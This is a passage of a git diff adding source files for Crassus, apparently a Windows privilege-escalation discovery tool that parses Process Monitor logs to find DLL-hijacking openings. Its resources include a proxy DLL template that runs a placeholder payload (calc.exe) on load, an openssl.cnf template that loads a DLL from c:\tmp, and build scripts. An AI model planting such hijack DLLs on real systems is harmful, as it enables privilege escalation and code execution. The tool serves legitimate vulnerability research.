+ Enum.TryParse(configName.Trim('\0'), out PMCConfigName PMCColumn);
+
+ switch (PMCColumn)
+ {
+ case PMCConfigName.Columns:
+ case PMCConfigName.ColumnMap:
+ Configuration.SetColumns(LoadColumns(PMCColumn, reader, dataSize));
+ break;
+ case PMCConfigName.ColumnCount:
+ Configuration.ColumnCount = reader.ReadUInt32();
+ break;
+ case PMCConfigName.AdvancedMode:
+ Configuration.AdvancedMode = reader.ReadUInt32();
+ break;
+ case PMCConfigName.Autoscroll:
+ Configuration.Autoscroll = reader.ReadUInt32();
+ break;
+ case PMCConfigName.HistoryDepth:
+ Configuration.HistoryDepth = reader.ReadUInt32();
+ break;
+ case PMCConfigName.Profiling:
+ Configuration.Profiling = reader.ReadUInt32();
+ break;
+ case PMCConfigName.DestructiveFilter:
+ Configuration.DestructiveFilter = reader.ReadUInt32();
+ break;
+ case PMCConfigName.AlwaysOnTop:
+ Configuration.AlwaysOnTop = reader.ReadUInt32();
+ break;
+ case PMCConfigName.ResolveAddresses:
+ Configuration.ResolveAddresses = reader.ReadUInt32();
+ break;
+ case PMCConfigName.DbgHelpPath:
+ Configuration.DbgHelpPath = ReadBytesToString(reader, dataSize);
+ break;
+ case PMCConfigName.Logfile:
+ Configuration.Logfile = ReadBytesToString(reader, dataSize);
+ break;
+ case PMCConfigName.SourcePath:
+ Configuration.SourcePath = ReadBytesToString(reader, dataSize);
+ break;
+ case PMCConfigName.SymbolPath:
+ Configuration.SymbolPath = ReadBytesToString(reader, dataSize);
+ break;
+ case PMCConfigName.HighlightFG:
+ Configuration.HighlightFG = reader.ReadUInt32();
+ break;
+ case PMCConfigName.HighlightBG:
+ Configuration.HighlightBG = reader.ReadUInt32();
+ break;
+ case PMCConfigName.LogFont:
+ Configuration.LogFont = LoadFont(reader);
+ break;
+ case PMCConfigName.BoookmarkFont:
+ Configuration.BoookmarkFont = LoadFont(reader);
+ break;
+ case PMCConfigName.FilterRules:
+ Configuration.SetFilters(LoadFilters(reader));
+ break;
+ case PMCConfigName.HighlightRules:
+ Configuration.SetHighlights(LoadFilters(reader));
+ break;
+ }
+
+ // This is in case there's a config option that we haven't accounted for above, so that
+ // it doesn't start reading random bytes when it's not supposed to.
+ currentPosition += recordSize;
+ stream.Seek(currentPosition, SeekOrigin.Begin);
+ } while (stream.Position < stream.Length);
+ }
+ }
+ }
+
+ private List LoadFilters(BinaryReader reader)
+ {
+ List filters = new List();
+
+ reader.ReadByte(); // Reserved.
+ // Number of filters.
+ byte count = reader.ReadByte();
+ for (int i = 0; i < count; i++)
+ {
+ PMCFilter filter = new PMCFilter();
+ reader.ReadBytes(3); // Reserved.
+ filter.Column = (FilterRuleColumn)reader.ReadUInt32();
+ filter.Relation = (FilterRuleRelation)reader.ReadUInt32();
+ filter.Action = (FilterRuleAction)reader.ReadByte();
+
+ filter.Value = ReadBytesToString(reader, reader.ReadInt32());
+ reader.ReadUInt32(); // IntValue.
+ reader.ReadByte(); // Reserved.
+
+ filters.Add(filter);
+ }
+
+ reader.ReadBytes(3); // Reserved.
+
+ return filters;
+ }
+
+ private PMCFont LoadFont(BinaryReader reader)
+ {
+ return new PMCFont
+ {
+ Height = reader.ReadUInt32(),
+ Width = reader.ReadUInt32(),
+ Escapement = reader.ReadUInt32(),
+ Orientation = reader.ReadUInt32(),
+ Weight = reader.ReadUInt32(),
+ Italic = reader.ReadByte(),
+ Underline = reader.ReadByte(),
+ StrikeOut = reader.ReadByte(),
+ Charset = reader.ReadByte(),
+ OutPrecision = reader.ReadByte(),
+ ClipPrecision = reader.ReadByte(),
+ Quality = reader.ReadByte(),
+ PitchAndFamily = reader.ReadByte(),
+ FaceName = ReadBytesToString(reader, 64)
+ };
+ }
+
+ private List LoadColumns(PMCConfigName configName, BinaryReader reader, int dataSize)
+ {
+ List columns = Configuration.GetColumns();
+
+ // Depending whether we are reading Columns or ColumnMap we need to calculate the number of elements
+ // we have to process, as Columns (widths) are Int16 and ColumnMap (columns) are Int32.
+ int maxColumns = configName == PMCConfigName.Columns ? dataSize / 2 : dataSize / 4;
+
+ // If this is the first time the function has been called, we need to pre-populate the array with
+ // empty elements.
+ if (!columns.Any())
+ {
+ for (int i = 0; i < maxColumns; i++)
+ {
+ columns.Add(new PMCColumn { Column = FilterRuleColumn.NONE, Width = 0 });
+ }
+ }
+
+ // Now we read the data, depending on the config name.
+ for (int i = 0; i < maxColumns; i++)
+ {
+ PMCColumn item = columns[i];
+ if (configName == PMCConfigName.Columns)
+ {
+ item.Width = reader.ReadUInt16();
+ }
+ else if (configName == PMCConfigName.ColumnMap)
+ {
+ item.Column = (FilterRuleColumn)reader.ReadUInt32();
+ }
+ columns[i] = item;
+ }
+
+ return columns;
+ }
+
+ private string ReadBytesToString(BinaryReader reader, int count)
+ {
+ return Encoding.Unicode.GetString(reader.ReadBytes(count));
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/ProcMon/ProcMonPML.cs b/repos/Crassus/Crassus/ProcMon/ProcMonPML.cs
new file mode 100644
index 000000000..6bb31e540
--- /dev/null
+++ b/repos/Crassus/Crassus/ProcMon/ProcMonPML.cs
@@ -0,0 +1,338 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using static Crassus.ProcMon.ProcMonConstants;
+
+
+namespace Crassus.ProcMon
+{
+ class ProcMonPML
+ {
+ private readonly string PMLFile = "";
+
+ private FileStream stream = null;
+
+ private BinaryReader reader = null;
+
+ private PMLHeaderStruct LogHeader = new PMLHeaderStruct();
+
+ private string[] LogStrings = new string[0];
+
+ Dictionary LogProcesses = new Dictionary();
+
+ private UInt32[] LogEventOffsets = new UInt32[0];
+
+ private UInt32 currentEventIndex = 0;
+
+ public ProcMonPML(string pMLFile)
+ {
+ PMLFile = pMLFile;
+ Load();
+ }
+
+ public void Close()
+ {
+ if (reader != null)
+ {
+ reader.Close();
+ }
+
+ if (stream != null)
+ {
+ stream.Close();
+ }
+ }
+
+ public void Rewind()
+ {
+ currentEventIndex = 0;
+ }
+
+ public PMLEvent? GetNextEvent()
+ {
+ return GetEvent(currentEventIndex++);
+ }
+
+ public PMLEvent? GetEvent(UInt32 eventIndex)
+ {
+ if (eventIndex >= TotalEvents())
+ {
+ return null;
+ }
+
+ int pVoidSize;
+ if (LogHeader.Architecture == 1)
+ {
+ pVoidSize = 8;
+ }
+ else
+ {
+ pVoidSize = 4;
+ }
+ stream.Seek(LogEventOffsets[eventIndex], SeekOrigin.Begin);
+
+ PMLEventStruct logEvent = new PMLEventStruct();
+
+ logEvent.indexProcessEvent = reader.ReadInt32();
+ logEvent.ThreadId = reader.ReadInt32();
+ logEvent.EventClass = reader.ReadInt32();
+ logEvent.OperationType = reader.ReadInt16();
+
+ /*
+ * In order to speed up the I/O I'm reading in bulk data that I'm not using further down.
+ * By doing so, reading 8 million events drops from 65 to 46 seconds.
+ */
+ //reader.ReadBytes(6); // Unknown.
+ //logEvent.DurationOfOperation = reader.ReadInt64();
+ //reader.ReadInt64(); // FILETIME.
+ reader.ReadBytes(6 + 8 + 8); // Comment this and uncomment the 3 lines above if needed.
+
+
+ logEvent.Result = reader.ReadUInt32();
+ logEvent.CapturedStackTraceDepth = reader.ReadInt16();
+ reader.ReadInt16(); // Unknown.
+ logEvent.ExtraDetailSize = reader.ReadUInt32();
+ logEvent.ExtraDetailOffset = reader.ReadUInt32();
+
+ int sizeOfStackTrace = logEvent.CapturedStackTraceDepth * pVoidSize;
+
+ /* Check the comment about speeding this up from above. */
+ //stream.Seek(sizeOfStackTrace, SeekOrigin.Current);
+ //stream.Seek(pVoidSize * 5 + 0x14, SeekOrigin.Current);
+ //reader.ReadInt32(); // Should be 0
+
+ // This is all silly. But it's an artifact of how Crassus was originally coded.
+ string eventPath = "";
+ // In the case of Load Image, we want to seek 72
+ if (logEvent.EventClass == 1 && logEvent.OperationType == 5)
+ {
+ // Load Image (DLL) Procmon event
+ stream.Seek(sizeOfStackTrace + pVoidSize + 4, SeekOrigin.Current);
+ byte stringSize = reader.ReadByte();
+// byte stringSize = 40;
+ reader.ReadBytes(3); // Not relevant for now.
+ eventPath = Encoding.ASCII.GetString(reader.ReadBytes(stringSize));
+ }
+ else if (logEvent.EventClass == 1 && logEvent.OperationType == 1)
+ {
+ // Create Process Procmon Event
+ stream.Seek(sizeOfStackTrace + 0xc + 0x3d, SeekOrigin.Current);
+ byte stringSize = reader.ReadByte();
+ // Whoever wrote this code should feel really bad about themselves.
+ // The path of a created process is in the string table, rather than as a specified-length ASCII string
+ // Doing this hack to avoid figuring out how to work with the string table sure is something.
+ stringSize = 255;
+ reader.ReadBytes(2); // Not relevant for now.
+ // Create Process uses a string table to specify what process is created
+ // This is an embarrassing hack, but it was easier than reverse enginerring the PML file format
+ // to figure out how to get string table entries precisely.
+ eventPath = Encoding.Unicode.GetString(reader.ReadBytes(stringSize));
+ Regex regex = new Regex(@".:\\.+?\.exe");
+ eventPath = regex.Match(eventPath.ToLower()).Value;
+ }
+ else if (logEvent.EventClass == 3 && logEvent.OperationType == 20)
+ {
+ // FileOpen Procmon Event
+ stream.Seek(sizeOfStackTrace + (pVoidSize * 5 + 0x14) + 4, SeekOrigin.Current);
+ byte stringSize = reader.ReadByte(); // TODO: For Load Image, this string size returns 0!
+ //stringSize = 40;
+ reader.ReadBytes(3); // Not relevant for now.
+ eventPath = Encoding.ASCII.GetString(reader.ReadBytes(stringSize));
+ }
+
+ PMLProcessStruct thisProcess = new PMLProcessStruct();
+ try
+ {
+ thisProcess = LogProcesses[logEvent.indexProcessEvent];
+ }
+ catch
+ {
+ Logger.Debug("Cannot determine process for event: " + logEvent.indexProcessEvent);
+ }
+
+ // TODO fix up to be more universal
+ return new PMLEvent()
+ {
+ EventClass = (EventClassType)logEvent.EventClass,
+ Operation = (EventFileSystemOperation)logEvent.OperationType,
+ Result = (EventResult)logEvent.Result,
+ Path = eventPath,
+ Process = thisProcess,
+ OriginalEvent = logEvent,
+ Loaded = true,
+ FoundPath = ""
+ };
+
+
+ }
+
+ public UInt32 TotalEvents()
+ {
+ return LogHeader.TotalEventCount;
+ }
+
+ private void Load()
+ {
+ try
+ {
+ stream = File.Open(PMLFile, FileMode.Open, FileAccess.Read);
+ }
+ catch
+ {
+ Logger.Error("Cannot open " + PMLFile);
+ return;
+ }
+ reader = new BinaryReader(stream, Encoding.Unicode);
+
+ Logger.Debug("Reading event log header...");
+ try
+ {
+ ReadHeader();
+ }
+ catch
+ {
+ Logger.Error("Cannot parse PML file!");
+ return;
+ }
+ Logger.Debug("Reading event log strings...");
+ ReadStrings();
+
+ Logger.Debug("Reading event log processes...");
+ ReadProcesses();
+
+ Logger.Debug("Reading event offsets...");
+ ReadEventOffsets();
+ }
+
+ private void ReadHeader()
+ {
+ LogHeader.Signature = Encoding.ASCII.GetString(reader.ReadBytes(4));
+ LogHeader.Version = reader.ReadInt32();
+ if (LogHeader.Signature != "PML_")
+ {
+ throw new Exception("Invalid file signature - it should be PML_ but it is: " + LogHeader.Signature);
+ }
+ else if (LogHeader.Version != 9)
+ {
+ throw new Exception("Invalid file version: " + LogHeader.Version);
+ }
+
+ LogHeader.Architecture = reader.ReadInt32();
+ LogHeader.ComputerName = new String(reader.ReadChars(0x10));
+ LogHeader.SystemRootPath = new string(reader.ReadChars(0x104));
+ LogHeader.TotalEventCount = reader.ReadUInt32();
+ reader.ReadInt64(); // Unknown.
+ LogHeader.OffsetEventArray = reader.ReadInt64();
+ LogHeader.OffsetEventOffsetArray = reader.ReadInt64();
+ LogHeader.OffsetProcessArray = reader.ReadInt64();
+ LogHeader.OffsetStringArray = reader.ReadInt64();
+ LogHeader.OffsetIconArray = reader.ReadInt64();
+ reader.ReadBytes(0xC); // Unknown.
+ LogHeader.WindowsVersionMajor = reader.ReadInt32();
+ LogHeader.WindowsVersionMinor = reader.ReadInt32();
+ LogHeader.WindowsVersionBuild = reader.ReadInt32();
+ LogHeader.WindowsVersionRevision = reader.ReadInt32();
+ LogHeader.WindowsServicePack = Encoding.Unicode.GetString(reader.ReadBytes(0x32));
+
+ reader.ReadBytes(0xD6); // Unknown.
+ LogHeader.LogicalProcessors = reader.ReadInt32();
+ LogHeader.RAMSize = reader.ReadInt64();
+ LogHeader.OffsetEventArray2 = reader.ReadInt64();
+ LogHeader.OffsetHostsPortArray = reader.ReadInt64();
+ }
+
+ private void ReadStrings()
+ {
+ stream.Seek(LogHeader.OffsetStringArray, SeekOrigin.Begin);
+ Int32 stringCount = reader.ReadInt32();
+ Logger.Verbose("Found " + stringCount + " strings...");
+
+ Logger.Verbose("Reading string offesets...");
+ Int32[] stringOffsets = new Int32[stringCount];
+ for (int i = 0; i < stringOffsets.Length; i++)
+ {
+ stringOffsets[i] = reader.ReadInt32();
+ }
+
+ Logger.Verbose("Reading strings...");
+ Array.Resize(ref LogStrings, stringCount);
+ for (int i = 0; i < stringOffsets.Length; i++)
+ {
+ stream.Seek((LogHeader.OffsetStringArray + stringOffsets[i]), SeekOrigin.Begin);
+ Int32 stringSize = reader.ReadInt32();
+ LogStrings[i] = Encoding.Unicode.GetString(reader.ReadBytes(stringSize)).Trim('\0');
+ }
+ }
+
+ private void ReadProcesses()
+ {
+ stream.Seek((LogHeader.OffsetProcessArray), SeekOrigin.Begin);
+ Int32 processCount = reader.ReadInt32();
+ Logger.Verbose("Found " + processCount + " processes...");
+
+ Logger.Verbose("Reading process offsets...");
+ // The array of process indexes is not essential becuase they appear in the process structure itself.
+ stream.Seek(processCount * 4, SeekOrigin.Current);
+ Int32[] processOffsets = new Int32[processCount];
+ for (int i = 0; i < processOffsets.Length; i++)
+ {
+ processOffsets[i] = reader.ReadInt32();
+ }
+
+ Logger.Verbose("Reading processes...");
+ for (int i = 0; i < processOffsets.Length; i++)
+ {
+ stream.Seek((LogHeader.OffsetProcessArray + processOffsets[i]), SeekOrigin.Begin);
+ PMLProcessStruct process = new PMLProcessStruct();
+
+ process.ProcessIndex = reader.ReadInt32();
+ process.ProcessId = reader.ReadInt32();
+ process.ParentProcessId = reader.ReadInt32();
+ reader.ReadInt32(); // Unknown.
+ process.AuthenticationId = reader.ReadInt64();
+ process.SessionNumber = reader.ReadInt32();
+ reader.ReadInt32(); // Unknown.
+ reader.ReadInt64(); // Start Process FILETIME.
+ reader.ReadInt64(); // End Process FILETIME.
+ process.IsVirtualised = reader.ReadInt32();
+ process.Is64 = reader.ReadInt32();
+ process.indexStringIntegrity = reader.ReadInt32();
+ process.indexStringUser = reader.ReadInt32();
+ process.indexStringProcessName = reader.ReadInt32();
+ process.indexStringImagePath = reader.ReadInt32();
+ process.indexStringCommandLine = reader.ReadInt32();
+ process.indexStringExecutableCompany = reader.ReadInt32();
+ process.indexStringExecutableVersion = reader.ReadInt32();
+ process.indexStringExecutableDescription = reader.ReadInt32();
+
+ process.Integrity = LogStrings[process.indexStringIntegrity];
+ process.User = LogStrings[process.indexStringUser];
+ process.ProcessName = LogStrings[process.indexStringProcessName];
+ process.ImagePath = LogStrings[process.indexStringImagePath];
+ process.CommandLine = LogStrings[process.indexStringCommandLine];
+ process.ExecutableCompany = LogStrings[process.indexStringExecutableCompany];
+ process.ExecutableVersion = LogStrings[process.indexStringExecutableVersion];
+ process.ExecutableDescription = LogStrings[process.indexStringExecutableDescription];
+
+ LogProcesses.Add(process.ProcessIndex, process);
+ }
+ }
+
+ private void ReadEventOffsets()
+ {
+ // Load Events.
+ Logger.Verbose("Reading event log offsets...");
+ stream.Seek(LogHeader.OffsetEventOffsetArray, SeekOrigin.Begin);
+ Array.Resize(ref LogEventOffsets, (int)LogHeader.TotalEventCount);
+ for (int i = 0; i < LogEventOffsets.Length; i++)
+ {
+ LogEventOffsets[i] = reader.ReadUInt32();
+ reader.ReadByte(); // Unknown.
+ }
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/Program.cs b/repos/Crassus/Crassus/Program.cs
new file mode 100644
index 000000000..434fe4dd2
--- /dev/null
+++ b/repos/Crassus/Crassus/Program.cs
@@ -0,0 +1,160 @@
+using Crassus.ProcMon;
+using Crassus.Crassus;
+using Crassus.Crassus.CommandLine;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Security.Principal;
+
+namespace Crassus
+{
+ class Program
+ {
+ static private bool IsCurrentUserAnAdmin()
+ {
+ var principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
+ return principal.IsInRole(WindowsBuiltInRole.Administrator);
+ }
+ static private bool IsCurrentUserInAdminGroup()
+ {
+ // https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows
+ // S-1-5-32-544
+ // A built-in group. After the initial installation of the operating system,
+ // the only member of the group is the Administrator account.
+ // When a computer joins a domain, the Domain Admins group is added to
+ // the Administrators group. When a server becomes a domain controller,
+ // the Enterprise Admins group also is added to the Administrators group.
+ var principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
+ var claims = principal.Claims;
+ return (claims.FirstOrDefault(c => c.Value == "S-1-5-32-544") != null);
+ }
+ static void Main(string[] args)
+ {
+ string appVersion = String.Format("{0}.{1}.{2}", Assembly.GetExecutingAssembly().GetName().Version.Major.ToString(), Assembly.GetExecutingAssembly().GetName().Version.Minor.ToString(), Assembly.GetExecutingAssembly().GetName().Version.Build.ToString());
+ if (args.Length == 0)
+ {
+ string help =
+$@"Crassus v{appVersion} [ Will Dormann ]
+- For more information visit https://github.com/vullabs/crassus
+
+Usage: Crassus.exe [PMLFile] [options]
+
+[PMLFile] Location (file) of the ProcMon event log file.
+--verbose Enable verbose output.
+--debug Enable debug output.
+
+Examples:
+
+
+Parse an existing PML event log output
+
+Crassus.exe C:\tmp\Bootlog.PML
+
+";
+ Logger.Info(help, true, false);
+
+#if DEBUG
+ Console.ReadLine();
+#endif
+ return;
+ }
+
+
+ Logger.Info($"Crassus v{appVersion}");
+
+ try
+ {
+ // This will parse everything into RuntimeData.*
+ CommandLineParser cmdParser = new CommandLineParser(args);
+ } catch (Exception e) {
+ Logger.Error(e.Message);
+#if DEBUG
+ Console.ReadLine();
+#endif
+ return;
+ }
+
+
+ if (RuntimeData.DetectProxyingDLLs)
+ {
+ Logger.Info("Starting DLL Proxying detection");
+ Logger.Info("", true, false);
+ Logger.Info("This feature is not to be relied upon - I just thought it'd be cool to have.", true, false);
+ Logger.Info("The way it works is by checking if a process has 2 or more DLLs loaded that share the same name but different location.", true, false);
+ Logger.Info("For instance 'version.dll' within the application's directory and C:\\Windows\\System32.", true, false);
+ Logger.Info("", true, false);
+ Logger.Info("There is no progress indicator - when a DLL is found it will be displayed here - hit CTRL-C to exit.");
+
+ Detect detector = new Detect();
+ detector.Run();
+ }
+ else
+ {
+ Manager manager = new Manager();
+
+ if (!RuntimeData.ProcessExistingLog)
+ {
+
+ Logger.Verbose("Making sure there are no ProcessMonitor instances...");
+ manager.TerminateProcessMonitor();
+
+ if (RuntimeData.ProcMonLogFile != "" && File.Exists(RuntimeData.ProcMonLogFile))
+ {
+ Logger.Verbose("Deleting previous log file: " + RuntimeData.ProcMonLogFile);
+ File.Delete(RuntimeData.ProcMonLogFile);
+ }
+
+ Logger.Info("Getting PMC file...");
+ string pmcFile = manager.GetPMCFile();
+
+ Logger.Info("Executing ProcessMonitor...");
+ manager.StartProcessMonitor();
+
+ Logger.Info("Process Monitor has started...");
+
+ Logger.Warning("Press ENTER when you want to terminate Process Monitor and parse its output...", false, true);
+ Console.ReadLine();
+
+ Logger.Info("Terminating Process Monitor...");
+ manager.TerminateProcessMonitor();
+ }
+ if (IsCurrentUserInAdminGroup())
+ {
+ Logger.Warning("You are logged in as an admin! Some results may simply be UAC bypasses.");
+ }
+
+ if (IsCurrentUserAnAdmin())
+ {
+ Logger.Error("This utility will not function with admin privileges");
+ return;
+ }
+
+ Logger.Info("Reading events file...");
+ ProcMonPML log = new ProcMonPML(RuntimeData.ProcMonLogFile);
+
+ Logger.Info("Found " + String.Format("{0:N0}", log.TotalEvents()) + " events...");
+
+ EventProcessor processor = new EventProcessor(log);
+ processor.Run();
+
+ if (RuntimeData.FoundBad)
+ {
+ Logger.Info("CSV Output stored in: " + RuntimeData.CsvOutputFile);
+ if (RuntimeData.ExportsOutputDirectory != "")
+ {
+ Logger.Info("Proxy DLL sources stored in: " + RuntimeData.ExportsOutputDirectory);
+ }
+ }
+
+ }
+
+ Logger.Success("All done");
+
+#if DEBUG
+ Console.ReadLine();
+#endif
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/Properties/AssemblyInfo.cs b/repos/Crassus/Crassus/Properties/AssemblyInfo.cs
new file mode 100644
index 000000000..7450d086d
--- /dev/null
+++ b/repos/Crassus/Crassus/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("Crassus")]
+[assembly: AssemblyDescription("Windows Privilege Escalation Discovery")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("Vul Labs")]
+[assembly: AssemblyProduct("Crassus")]
+[assembly: AssemblyCopyright("Copyright © 2023")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("7e9729aa-4cf2-4d0a-8183-7fb7ce7a5b1a")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.1.7.0")]
+[assembly: AssemblyFileVersion("1.1.7.0")]
diff --git a/repos/Crassus/Crassus/Properties/Resources.Designer.cs b/repos/Crassus/Crassus/Properties/Resources.Designer.cs
new file mode 100644
index 000000000..5f362cf3d
--- /dev/null
+++ b/repos/Crassus/Crassus/Properties/Resources.Designer.cs
@@ -0,0 +1,152 @@
+//------------------------------------------------------------------------------
+//
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.42000
+//
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
+//
+//------------------------------------------------------------------------------
+
+namespace Crassus.Properties {
+ using System;
+
+
+ ///
+ /// A strongly-typed resource class, for looking up localized strings, etc.
+ ///
+ // This class was auto-generated by the StronglyTypedResourceBuilder
+ // class via a tool like ResGen or Visual Studio.
+ // To add or remove a member, edit your .ResX file then rerun ResGen
+ // with the /str option, or rebuild your VS project.
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
+ [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+ [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+ internal class Resources {
+
+ private static global::System.Resources.ResourceManager resourceMan;
+
+ private static global::System.Globalization.CultureInfo resourceCulture;
+
+ [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
+ internal Resources() {
+ }
+
+ ///
+ /// Returns the cached ResourceManager instance used by this class.
+ ///
+ [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+ internal static global::System.Resources.ResourceManager ResourceManager {
+ get {
+ if (object.ReferenceEquals(resourceMan, null)) {
+ global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Crassus.Properties.Resources", typeof(Resources).Assembly);
+ resourceMan = temp;
+ }
+ return resourceMan;
+ }
+ }
+
+ ///
+ /// Overrides the current thread's CurrentUICulture property for all
+ /// resource lookups using this strongly typed resource class.
+ ///
+ [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+ internal static global::System.Globalization.CultureInfo Culture {
+ get {
+ return resourceCulture;
+ }
+ set {
+ resourceCulture = value;
+ }
+ }
+
+ ///
+ /// Looks up a localized string similar to @echo off
+ ///echo %PATH% > path.txt
+ ///FOR %%? IN (path.txt) DO ( SET /A strlength=%%~z? - 2 )
+ ///if %strlength% GEQ 5500 goto vcvarserr
+ ///call "%VCINSTALLDIR%\Auxiliary\Build\vcvarsall.bat" x86
+ ///for /f %%f in ('findstr /m /c:"//BUILD_AS_32" *.cpp') do (
+ /// cl /DADD_EXPORTS /D_USRDLL /D_WINDLL %%f /LD /Fe%%~nf.dll /link /DEF:%%~nf.def
+ /// if not exist %%~nf.dll cl /D_USRDLL /D_WINDLL %%f /LD /Fe%%~nf.dll /link
+ ///)
+ ///call "%VCINSTALLDIR%\Auxiliary\Build\vcvars32.bat" amd64
+ ///for /f %%f in ('findstr /m /c:"//BUILD_A [rest of string was truncated]";.
+ ///
+ internal static string build_bat {
+ get {
+ return ResourceManager.GetString("build.bat", resourceCulture);
+ }
+ }
+
+ ///
+ /// Looks up a localized string similar to ls *.cpp | xargs grep -l //BUILD_AS_32 | sed 's/.cpp//' | xargs -n1 -I{} bash -c "i686-w64-mingw32-g++ -c -o {}.o {}.cpp -D ADD_EXPORTS && i686-w64-mingw32-g++ -o {}.dll {}.o {}.def -s -shared -Wl,--subsystem,windows || i686-w64-mingw32-g++ -c -o {}.o {}.cpp && i686-w64-mingw32-g++ -o {}.dll {}.o -s -shared -Wl,--subsystem,windows"
+ ///ls *.cpp | xargs grep -l //BUILD_AS_64 | sed 's/.cpp//' | xargs -n1 -I{} bash -c "x86_64-w64-mingw32-g++ -c -o {}.o {}.cpp -D ADD_EXPORTS && x86_64-w64-mingw32-g++ -o {}.dll {}. [rest of string was truncated]";.
+ ///
+ internal static string build_sh {
+ get {
+ return ResourceManager.GetString("build.sh", resourceCulture);
+ }
+ }
+
+ ///
+ /// Looks up a localized string similar to openssl_conf = openssl_init
+ ///[openssl_init]
+ ///# This will attempt to load the file c:\tmp\calc.dll as part of OpenSSL initialization
+ ///# Be sure to pay attention to whether this needs to be a 64-bit or a 32-bit library
+ ////tmp/calc = asdf
+ ///.
+ ///
+ internal static string openssl_cnf {
+ get {
+ return ResourceManager.GetString("openssl.cnf", resourceCulture);
+ }
+ }
+
+ ///
+ /// Looks up a localized string similar to #pragma once
+ ///
+ /////%_BUILD_AS%
+ ///
+ ///#include <windows.h>
+ ///
+ ///extern "C" {
+ ///
+ /// VOID Payload() {
+ /// // Run your payload here.
+ /// WinExec("calc.exe", 1);
+ /// }
+ ///
+ /// BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
+ /// {
+ /// switch (fdwReason)
+ /// {
+ /// case DLL_PROCESS_ATTACH:
+ /// Payload();
+ /// break;
+ /// case DLL_THREAD_ATTACH:
+ /// break;
+ /// case DLL_THREAD_DETACH:
+ /// break;
+ /// case DLL_PROCESS_DETACH:
+ /// break;
+ /// [rest of string was truncated]";.
+ ///
+ internal static string proxy_dll_cpp {
+ get {
+ return ResourceManager.GetString("proxy.dll.cpp", resourceCulture);
+ }
+ }
+
+ ///
+ /// Looks up a localized string similar to EXPORTS
+ /// %_EXPORTS_%
+ ///.
+ ///
+ internal static string proxy_dll_def {
+ get {
+ return ResourceManager.GetString("proxy.dll.def", resourceCulture);
+ }
+ }
+ }
+}
diff --git a/repos/Crassus/Crassus/Properties/Resources.resx b/repos/Crassus/Crassus/Properties/Resources.resx
new file mode 100644
index 000000000..9b23d87a2
--- /dev/null
+++ b/repos/Crassus/Crassus/Properties/Resources.resx
@@ -0,0 +1,199 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ #pragma once
+
+//%_BUILD_AS%
+
+#include <windows.h>
+
+extern "C" {
+
+ VOID Payload() {
+ // Run your payload here.
+ WinExec("calc.exe", 1);
+ }
+
+ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
+ {
+ switch (fdwReason)
+ {
+ case DLL_PROCESS_ATTACH:
+ Payload();
+ break;
+ case DLL_THREAD_ATTACH:
+ break;
+ case DLL_THREAD_DETACH:
+ break;
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ return TRUE;
+ }
+
+
+ #ifdef ADD_EXPORTS
+ %_EXPORTS_%
+ #endif
+}
+
+
+
+
+ EXPORTS
+ %_EXPORTS_%
+
+
+
+ openssl_conf = openssl_init
+[openssl_init]
+# This will attempt to load the file c:\tmp\calc.dll as part of OpenSSL initialization
+# Be sure to pay attention to whether this needs to be a 64-bit or a 32-bit library
+/tmp/calc = asdf
+
+
+
+ ls *.cpp | xargs grep -l //BUILD_AS_32 | sed 's/.cpp//' | xargs -n1 -I{} bash -c "i686-w64-mingw32-g++ -c -o {}.o {}.cpp -D ADD_EXPORTS && i686-w64-mingw32-g++ -o {}.dll {}.o {}.def -s -shared -Wl,--subsystem,windows || i686-w64-mingw32-g++ -c -o {}.o {}.cpp && i686-w64-mingw32-g++ -o {}.dll {}.o -s -shared -Wl,--subsystem,windows"
